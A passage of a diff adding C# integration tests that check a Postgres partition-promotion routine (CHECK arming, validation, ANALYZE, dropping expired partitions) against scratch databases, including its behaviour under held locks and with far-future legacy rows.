+        /* S is more than three days ahead of Now, so no day partition exists: legacy (below S) and DEFAULT. */
+        var names = (await PartitionNamesAsync(connection, Wide, ct)).OrderBy(n => n, StringComparer.Ordinal).ToList();
+        Assert.Equal(new[] { Wide.Default, Wide.Legacy }.OrderBy(n => n, StringComparer.Ordinal).ToList(), names);
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 1, ct));
+        await InsertAsync(connection, Wide, Now, 2, ct);
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 2, ct));
+
+        /* Create-ahead makes no day below S, even eight days later when the clock has passed it; the first day made is S. */
+        var maintained = await QueryStoreIntervalPartitions.RunMaintenanceAsync(connection, Wide, Now.AddDays(1), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, maintained.Outcome);
+        Assert.DoesNotContain(await PartitionNamesAsync(connection, Wide, ct), n => n.Contains("_p2026", StringComparison.Ordinal));
+        await QueryStoreIntervalPartitions.RunMaintenanceAsync(connection, Wide, new DateTime(2026, 10, 12, 1, 0, 0, DateTimeKind.Utc), logger, ct);
+        var days = (await PartitionNamesAsync(connection, Wide, ct)).Where(n => n.Contains("_p2026", StringComparison.Ordinal)).OrderBy(n => n, StringComparer.Ordinal).ToList();
+        Assert.Equal(new[] { Wide.DayPartition(laterS), Wide.DayPartition(laterS.AddDays(1)) }, days);
+
+        /* The legacy table stays until S is at or below the cutoff (nine days after S), and its row is still there. */
+        await QueryStoreIntervalPartitions.RunMaintenanceAsync(connection, Wide, new DateTime(2026, 10, 22, 12, 0, 0, DateTimeKind.Utc), logger, ct);
+        Assert.True(await ExistsAsync(connection, Wide.Legacy, ct));
+        await QueryStoreIntervalPartitions.RunMaintenanceAsync(connection, Wide, new DateTime(2026, 10, 23, 0, 0, 0, DateTimeKind.Utc), logger, ct);
+        Assert.False(await ExistsAsync(connection, Wide.Legacy, ct));
+    }
+
+    [Fact]
+    public async Task ALegacyIndexThatIsMissing_MakesTheArmUseTheNormalS_AndLogsIt()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 13, 5, 0, 0, DateTimeKind.Unspecified), 1, ct);
+        /* An index left INVALID (a failed concurrent build): the catalog flag is the whole fact the arm looks at. */
+        await ExecAsync(connection, "UPDATE pg_index SET indisvalid = false WHERE indexrelid = 'collect.idx_query_store_interval_wide_first_exec_legacy'::regclass", ct);
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+
+        /* Never a heap scan to find the maximum: with no usable index the normal S is armed. */
+        Assert.Equal(FirstS, (await StateAsync(connection, ct)).CheckBound);
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("missing or unusable", StringComparison.Ordinal)), logger.Dump());
+    }
+
+    [Fact]
+    public async Task AValidateThatFailsWith23514_DropsTheCheckAndLogsTheLegacyMax_AndTheNextPassArmsAgainWithALaterS()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        /* The shape an older arm left: a NOT VALID CHECK at the normal S, over a legacy table that holds a row past it. */
+        var ahead = new DateTime(2026, 10, 12, 7, 30, 0, DateTimeKind.Unspecified);
+        await InsertAsync(connection, Wide, ahead, 1, ct);
+        await ExecAsync(connection, QueryStoreIntervalPartitions.AddCheckSql(Wide, FirstS), ct);
+
+        var validate = await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Refused, validate.Outcome);
+        Assert.False((await StateAsync(connection, ct)).CheckPresent);
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("2026-10-12T07:30:00", StringComparison.Ordinal) && l.Message.Contains("dropped", StringComparison.Ordinal)), logger.Dump());
+
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, Now.AddHours(1), logger, ct);
+        Assert.Equal(0, pass.Failed);
+        var rearmed = await StateAsync(connection, ct);
+        Assert.Equal(new DateTime(2026, 10, 13, 0, 0, 0, DateTimeKind.Unspecified), rearmed.CheckBound);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now.AddHours(1), logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task AValidate_NeverStartsWithinItsDeadlinePlusTheReArmWindowOfS()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+
+        var tooClose = QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, FirstS.AddHours(-2), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.ReArmFirst, (await tooClose).Outcome);
+        Assert.False((await StateAsync(connection, ct)).CheckValid);
+
+        /* The background step as a whole re-arms first and then validates the new S. */
+        var whole = await QueryStoreIntervalPartitions.RunPromotionAsync(
+            connection, Wide, FirstS.AddHours(-2), logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, whole.Outcome);
+        Assert.True((await StateAsync(connection, ct)).Promoted);
+    }
+
+    [Fact]
+    public async Task AValidateThatLosesItsLock_IsRetriedByTheBackgroundLoop_UntilTheTableIsPromoted()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var clock = DateTime.UtcNow;
+        var indexEnsures = 0;
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, clock, logger, ct);
+
+        using var stop = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        Task loop;
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN SHARE UPDATE EXCLUSIVE MODE", ct);   /* an anti-wraparound vacuum */
+
+            loop = QueryStoreIntervalPartitions.RunDelayedAsync(
+                logger,
+                TimeSpan.Zero,
+                TimeSpan.FromMilliseconds(200),
+                OnlyWide,
+                async (table, token) =>
+                {
+                    await using var own = new NpgsqlConnection(scratch.ConnectionString);
+                    await own.OpenAsync(token);
+                    return await QueryStoreIntervalPartitions.RunPromotionAsync(
+                        own, table, DateTime.UtcNow, logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), token);
+                },
+                (table, token) => Task.FromResult(new QueryStoreIntervalPartitions.StepResult(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, "test")),
+                token =>
+                {
+                    Interlocked.Increment(ref indexEnsures);
+                    return Task.CompletedTask;
+                },
+                stop.Token);
+
+            /* The first VALIDATE gives up on the held lock after 5 s. */
+            var deadline = DateTime.UtcNow.AddSeconds(60);
+            while (!logger.Lines.Any(l => l.Message.Contains("validating the legacy bound hit a lock timeout", StringComparison.Ordinal)) && DateTime.UtcNow < deadline)
+            {
+                await Task.Delay(100, ct);
+            }
+
+            Assert.True(logger.Lines.Any(l => l.Message.Contains("validating the legacy bound hit a lock timeout", StringComparison.Ordinal)), logger.Dump());
+            Assert.False((await StateAsync(connection, ct)).Promoted);
+            await hold.RollbackAsync(ct);
+        }
+
+        /* Not once per start: the loop's next pass validates and promotes with no restart. */
+        var promotedBy = DateTime.UtcNow.AddSeconds(60);
+        while (!(await StateAsync(connection, ct)).Promoted && DateTime.UtcNow < promotedBy)
+        {
+            await Task.Delay(100, ct);
+        }
+
+        var promoted = (await StateAsync(connection, ct)).Promoted;
+        await stop.CancelAsync();
+        await loop;
+        Assert.True(promoted, logger.Dump());
+        Assert.Equal(1, Volatile.Read(ref indexEnsures));   /* the index ensures ran on the first pass only */
+    }
+
+    [Fact]
+    public async Task TheAnalyze_UnderAHeldLock_IsRetryLaterNotAnError_AndRunsOnceTheLockIsGone()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await PromoteAsync(connection, Wide, Now, logger, ct);
+
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE ONLY {Wide.Parent} IN SHARE UPDATE EXCLUSIVE MODE", ct);
+            var blocked = await QueryStoreIntervalPartitions.AnalyzeAsync(connection, Wide, logger, ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, blocked.Outcome);
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.AnalyzeAsync(connection, Wide, logger, ct)).Outcome);
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_stat_user_tables WHERE relid = '{Wide.Parent}'::regclass AND last_analyze IS NOT NULL", ct));
+
+        /* A table that is not promoted is not due: the daily check leaves it to its promotion. */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.AnalyzeIfDueAsync(connection, Latest, Now, logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task APromotedStoreWhoseLegacyTableIsGone_ReportsNothingToDo_NotNotReady()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await PromoteAsync(connection, Wide, Now.AddDays(-30), logger, ct);
+        await QueryStoreIntervalPartitions.RunMaintenanceAsync(connection, Wide, Now, logger, ct);
+        Assert.False(await ExistsAsync(connection, Wide.Legacy, ct));
+
+        /* L2: Phase A on every later start. */
+        foreach (var step in new[]
+        {
+            await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct),
+            await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct),
+            await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, Now, logger, ct),
+            await QueryStoreIntervalPartitions.RunPromotionAsync(connection, Wide, Now, logger, ct),
+        })
+        {
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, step.Outcome);
+        }
+    }
+
+    [Fact]
+    public async Task APromotionThatFindsTheTableAlreadyPromoted_IsNothingToDo_AndAnalyzesNothing()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        var first = await QueryStoreIntervalPartitions.RunPromotionAsync(connection, Wide, Now, logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, first.Outcome);
+        Assert.True(logger.Lines.Any(l => l.Message.Contains("analyzed the parent", StringComparison.Ordinal)), logger.Dump());
+
+        /* L1: a restart of a promoted store runs no ANALYZE. */
+        var before = logger.Lines.Count(l => l.Message.Contains("analyzed the parent", StringComparison.Ordinal));
+        var second = await QueryStoreIntervalPartitions.RunPromotionAsync(connection, Wide, Now.AddHours(1), logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, second.Outcome);
+        Assert.Equal(before, logger.Lines.Count(l => l.Message.Contains("analyzed the parent", StringComparison.Ordinal)));
+    }
+
+    private static int FarMaxWarnings(ListLogger logger) =>
+        logger.Lines.Count(l => l.Level == LogLevel.Warning && l.Message.Contains("stays unpartitioned until that row is gone", StringComparison.Ordinal));
+
+    [Fact]
+    public async Task ALegacyRowDatedMoreThanOneHorizonAhead_IsNotArmedOver_WarnsOncePerMaximum_AndTheArmGoesAheadOnceItIsGone()
+    {
+        /* #5571 review round 2 M1. A promoted table is never re-armed, so S must not follow a far-future row. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        QueryStoreIntervalPartitions.ResetFarFutureMaxWarnings();
+
+        /* The normal S is 10-10 and the wide horizon is nine days: a row at 10-19 00:00 would put S at 10-20, one day past the limit. */
+        var far = new DateTime(2026, 10, 19, 0, 0, 0, DateTimeKind.Unspecified);
+        await InsertAsync(connection, Wide, far, 1, ct);
+
+        var arm = await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, arm.Outcome);
+        Assert.False((await StateAsync(connection, ct)).CheckPresent);
+        Assert.Equal(1, FarMaxWarnings(logger));
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("2026-10-19T00:00:00", StringComparison.Ordinal)), logger.Dump());
+
+        /* Every hourly pass reads the maximum again and still does not arm, and says nothing more while the maximum is the same. */
+        for (var hour = 1; hour <= 3; hour++)
+        {
+            var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, Now.AddHours(hour), logger, ct);
+            Assert.Equal(0, pass.Failed);
+            Assert.False((await StateAsync(connection, ct)).CheckPresent);
+        }
+
+        Assert.Equal(1, FarMaxWarnings(logger));
+
+        /* A different maximum is a new fact: it is warned about once. */
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 20, 5, 0, 0, DateTimeKind.Unspecified), 2, ct);
+        await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, Now.AddHours(4), logger, ct);
+        Assert.Equal(2, FarMaxWarnings(logger));
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("2026-10-20T05:00:00", StringComparison.Ordinal)), logger.Dump());
+        await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, Now.AddHours(5), logger, ct);
+        Assert.Equal(2, FarMaxWarnings(logger));
+        Assert.False((await StateAsync(connection, ct)).CheckPresent);
+
+        /* The row is deleted: the first pass after that arms, with no restart. */
+        await ExecAsync(connection, $"DELETE FROM {Wide.Parent} WHERE first_execution_time >= timestamp '2026-10-19 00:00:00'", ct);
+        var armed = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, Now.AddHours(6), logger, ct);
+        Assert.Equal(0, armed.Failed);
+        var state = await StateAsync(connection, ct);
+        Assert.True(state.CheckPresent);
+        Assert.Equal(FirstS, state.CheckBound);
+        Assert.Equal(2, FarMaxWarnings(logger));
+    }
+
+    [Fact]
+    public async Task AFarFutureLegacyRow_AnHourOfBothLoops_RequestsNoLock_WhileAnAutovacuumLikeLockIsHeld()
+    {
+        /* #5589. A SHARE UPDATE EXCLUSIVE lock stands in for a running autovacuum: any lock request that conflicts with it would wait
+           (and in production cancel the autovacuum). With the newest row beyond the horizon, neither the hourly convergence step nor
+           the background loop's pass (arm, validate, promote, analyze) may request one: every call returns NotReady in well under
+           the 5 s lock_timeout, and a third connection never sees a backend waiting on the legacy table. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var loopConnection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        await using var watcher = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        QueryStoreIntervalPartitions.ResetFarFutureMaxWarnings();
+
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 19, 0, 0, 0, DateTimeKind.Unspecified), 1, ct);
+
+        var waiters = 0;
+        var stop = false;
+        var steps = new List<(string What, QueryStoreIntervalPartitions.StepOutcome Outcome, TimeSpan Elapsed)>();
+        Task poll;
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN SHARE UPDATE EXCLUSIVE MODE", ct);
+
+            poll = Task.Run(
+                async () =>
+                {
+                    while (!Volatile.Read(ref stop))
+                    {
+                        await using var command = new NpgsqlCommand(
+                            $"SELECT count(*) FROM pg_locks WHERE NOT granted AND relation = '{Wide.Legacy}'::regclass;", watcher);
+                        waiters = Math.Max(waiters, (int)(long)(await command.ExecuteScalarAsync(ct))!);
+                        await Task.Delay(20, ct);
+                    }
+                },
+                ct);
+
+            /* The hourly convergence step, a few hours running. */
+            for (var hour = 0; hour < 3; hour++)
+            {
+                var watch = System.Diagnostics.Stopwatch.StartNew();
+                var step = await QueryStoreIntervalPartitions.ConvergeUnpromotedAsync(connection, Wide, Now.AddHours(hour), logger, ct);
+                steps.Add(("converge", step.Outcome, watch.Elapsed));
+            }
+
+            /* The background loop's own body, through the loop entry: its promotion step is RunPromotionAsync and its analyze step is
+               AnalyzeIfDueAsync, each on its own connection exactly as the production lambdas do. The index ensure is a no-op here: it
+               runs once per start, not hourly. */
+            using var cts = CancellationTokenSource.CreateLinkedTokenSource(ct);
+            var passes = 0;
+            await QueryStoreIntervalPartitions.RunDelayedAsync(
+                logger,
+                TimeSpan.Zero,
+                TimeSpan.FromMilliseconds(20),
+                OnlyWide,
+                async (table, token) =>
+                {
+                    var watch = System.Diagnostics.Stopwatch.StartNew();
+                    var result = await QueryStoreIntervalPartitions.RunPromotionAsync(loopConnection, table, Now.AddHours(passes), logger, token);
+                    steps.Add(("promotion", result.Outcome, watch.Elapsed));
+                    return result;
+                },
+                async (table, token) =>
+                {
+                    var watch = System.Diagnostics.Stopwatch.StartNew();
+                    var result = await QueryStoreIntervalPartitions.AnalyzeIfDueAsync(loopConnection, table, Now.AddHours(passes), logger, token);
+                    steps.Add(("analyze", result.Outcome, watch.Elapsed));
+                    if (++passes >= 3)
+                    {
+                        cts.Cancel();
+                    }
+
+                    return result;
+                },
+                _ => Task.CompletedTask,
+                cts.Token);
+
+            Volatile.Write(ref stop, true);
+            await poll;
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(3, steps.Count(x => x.What == "converge"));
+        Assert.Equal(3, steps.Count(x => x.What == "promotion"));
+        Assert.Equal(3, steps.Count(x => x.What == "analyze"));
+        foreach (var (what, outcome, elapsed) in steps)
+        {
+            Assert.True(outcome == QueryStoreIntervalPartitions.StepOutcome.NotReady, $"{what} ended {outcome} (RetryLater means it requested a conflicting lock)");
+            Assert.True(elapsed < TimeSpan.FromSeconds(3), $"{what} took {elapsed.TotalSeconds:F1} s: it waited on a lock");
+        }
+
+        Assert.Equal(0, waiters);
+        Assert.Equal(1, FarMaxWarnings(logger));
+        Assert.False((await StateAsync(connection, ct)).CheckPresent);
+    }
+
+    [Fact]
+    public async Task ALegacyRowInsideTheHorizon_StillTakesTheArmLock_AndIsRetryLaterWhileAnAutovacuumLikeLockIsHeld()
+    {
+        /* #5589. The pre-check is only a refusal: a maximum inside the horizon goes on to the locked, authoritative arm. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        QueryStoreIntervalPartitions.ResetFarFutureMaxWarnings();
+
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 12, 0, 0, 0, DateTimeKind.Unspecified), 1, ct);
+
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN SHARE UPDATE EXCLUSIVE MODE", ct);
+            var blocked = await QueryStoreIntervalPartitions.ConvergeUnpromotedAsync(connection, Wide, Now, logger, ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, blocked.Outcome);
+            await hold.RollbackAsync(ct);
+        }
+
+        var armed = await QueryStoreIntervalPartitions.ConvergeUnpromotedAsync(connection, Wide, Now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, armed.Outcome);
+        Assert.True((await StateAsync(connection, ct)).CheckPresent);
+        Assert.Equal(0, FarMaxWarnings(logger));
+    }
+
+    [Fact]
+    public async Task ALegacyRowOneMicrosecondInsideTheHorizon_IsArmedOver_AndTheValidatePasses()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        QueryStoreIntervalPartitions.ResetFarFutureMaxWarnings();
+
+        /* 10-18 23:59:59.999999 puts S at 10-19, exactly the normal S plus nine days. */
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 19, 0, 0, 0, DateTimeKind.Unspecified).AddTicks(-10), 1, ct);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct)).Outcome);
+        Assert.Equal(new DateTime(2026, 10, 19, 0, 0, 0, DateTimeKind.Unspecified), (await StateAsync(connection, ct)).CheckBound);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct)).Outcome);
+        Assert.Equal(0, FarMaxWarnings(logger));
+    }
+
+    [Fact]
+    public async Task APromotionThatFailsForAnyReasonButALock_DoesNotSkipTheReArm_WhenSIsClose()
+    {
+        /* #5571 review round 2 L3. Left alone, the valid CHECK would refuse every current row at S. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct)).Outcome);
+
+        /* A stray table with the first day partition's name: the promotion's CREATE TABLE ... PARTITION OF fails with 42P07, not 55P03. */
+        await ExecAsync(connection, $"CREATE TABLE {Wide.DayPartition(FirstS)} (id integer)", ct);
+        var close = FirstS.AddHours(-11);
+        await Assert.ThrowsAsync<PostgresException>(() => QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, close, logger, ct));
+
+        var step = await QueryStoreIntervalPartitions.ConvergeUnpromotedAsync(connection, Wide, close, logger, ct);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, step.Outcome);
+        var state = await StateAsync(connection, ct);
+        Assert.False(state.Promoted);
+        Assert.Equal(QueryStoreIntervalPartitions.ArmBound(close), state.CheckBound);
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("the promotion failed", StringComparison.Ordinal)), logger.Dump());
+    }
+
+    [Fact]
+    public async Task AValidateThatFailsWith23514_WhenTheLegacyMaxCannotBeRead_IsRetryLater_AndTheLoopValidatesOncePerPass()
+    {
+        /* #5571 review round 2 L4. With the maximum unknown a second Phase A in the same pass would read the whole heap again for nothing. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await InsertAsync(connection, Wide, new DateTime(2026, 10, 12, 7, 30, 0, DateTimeKind.Unspecified), 1, ct);
+        await ExecAsync(connection, "UPDATE pg_index SET indisvalid = false WHERE indexrelid = 'collect.idx_query_store_interval_wide_first_exec_legacy'::regclass", ct);
+        await ExecAsync(connection, QueryStoreIntervalPartitions.AddCheckSql(Wide, FirstS), ct);
+
+        using var stop = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        var loop = QueryStoreIntervalPartitions.RunDelayedAsync(
+            logger,
+            TimeSpan.Zero,
+            TimeSpan.FromHours(1),
+            OnlyWide,
+            async (table, token) =>
+            {
+                await using var own = new NpgsqlConnection(scratch.ConnectionString);
+                await own.OpenAsync(token);
+                return await QueryStoreIntervalPartitions.RunPromotionAsync(own, table, Now, logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), token);
+            },
+            (table, token) => Task.FromResult(new QueryStoreIntervalPartitions.StepResult(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, "test")),
+            token => Task.CompletedTask,
+            stop.Token);
+
+        /* The analyze step is the last thing a pass does. */
+        var deadline = DateTime.UtcNow.AddSeconds(60);
+        while (!logger.Lines.Any(l => l.Message.Contains("analyze step ended", StringComparison.Ordinal)) && DateTime.UtcNow < deadline)
+        {
+            await Task.Delay(100, ct);
+        }
+
+        await stop.CancelAsync();
+        await loop;
+
+        Assert.True(logger.Lines.Any(l => l.Message.Contains("promotion step ended RetryLater", StringComparison.Ordinal)), logger.Dump());
+        Assert.Equal(1, logger.Lines.Count(l => l.Level == LogLevel.Warning && l.Message.Contains("could not be validated", StringComparison.Ordinal)));
+        Assert.False((await StateAsync(connection, ct)).CheckPresent);
+    }
+
+    [Fact]
+    public async Task ADropThatLosesTheRaceForTheLegacyTable_WaitsOnTheLock_ThenSucceedsWithoutAFailure()
+    {
+        /* #5571 review round 2 L5. The product lists the expired partitions (reads that finish before the race starts), then its DROP waits on the
+           parent's lock. A second connection that already holds a lock on the parent is granted its own DROP ahead of that waiter, commits,
+           and the product's DROP finds the table gone: DROP TABLE IF EXISTS looks the name up again after the wait, where a plain DROP TABLE fails
+           with 42P01. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var other = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await PromoteAsync(connection, Wide, Now.AddDays(-30), logger, ct);
+        Assert.True(await ExistsAsync(connection, Wide.Legacy, ct));
+
+        /* Dropping a partition takes the parent's lock first. ACCESS SHARE on the parent does not block the product's reads, and blocks its DROP. */
+        await using var hold = await other.BeginTransactionAsync(ct);
+        await ExecAsync(other, $"LOCK TABLE ONLY {Wide.Parent} IN ACCESS SHARE MODE", ct);
+
+        var product = QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, Now, logger, ct);
+
+        /* Wait until the product's DROP is queued behind the uncommitted one; the lock wait is 5 s, so this must be well inside it. */
+        var waitUntil = DateTime.UtcNow.AddSeconds(3);
+        long waiting = 0;
+        while (waiting == 0 && DateTime.UtcNow < waitUntil)
+        {
+            await Task.Delay(50, ct);
+            waiting = await CountAsync(other, "SELECT count(*) FROM pg_locks WHERE NOT granted", ct);
+        }
+
+        Assert.True(waiting > 0, "the product's DROP never queued behind the first one");
+        Assert.False(product.IsCompleted, "the product's DROP did not wait for the lock");
+
+        /* The second drop jumps the queue (it already holds a lock on the parent), so it wins the race. */
+        await ExecAsync(other, $"DROP TABLE {Wide.Legacy}", ct);
+        await hold.CommitAsync(ct);
+        var result = await product;
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, result.Outcome);
+        Assert.False(await ExistsAsync(connection, Wide.Legacy, ct));
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    /* The source text of the product file the pins below read. */
+    private static class ProductSource
+    {
+        internal static string Read(string project, string file, [CallerFilePath] string callerFile = "")
+        {
+            var relative = Path.Combine("Darling", project, file);
+            for (var dir = new DirectoryInfo(Path.GetDirectoryName(callerFile)!); dir is not null; dir = dir.Parent)
+            {
+                var candidate = Path.Combine(dir.FullName, relative);
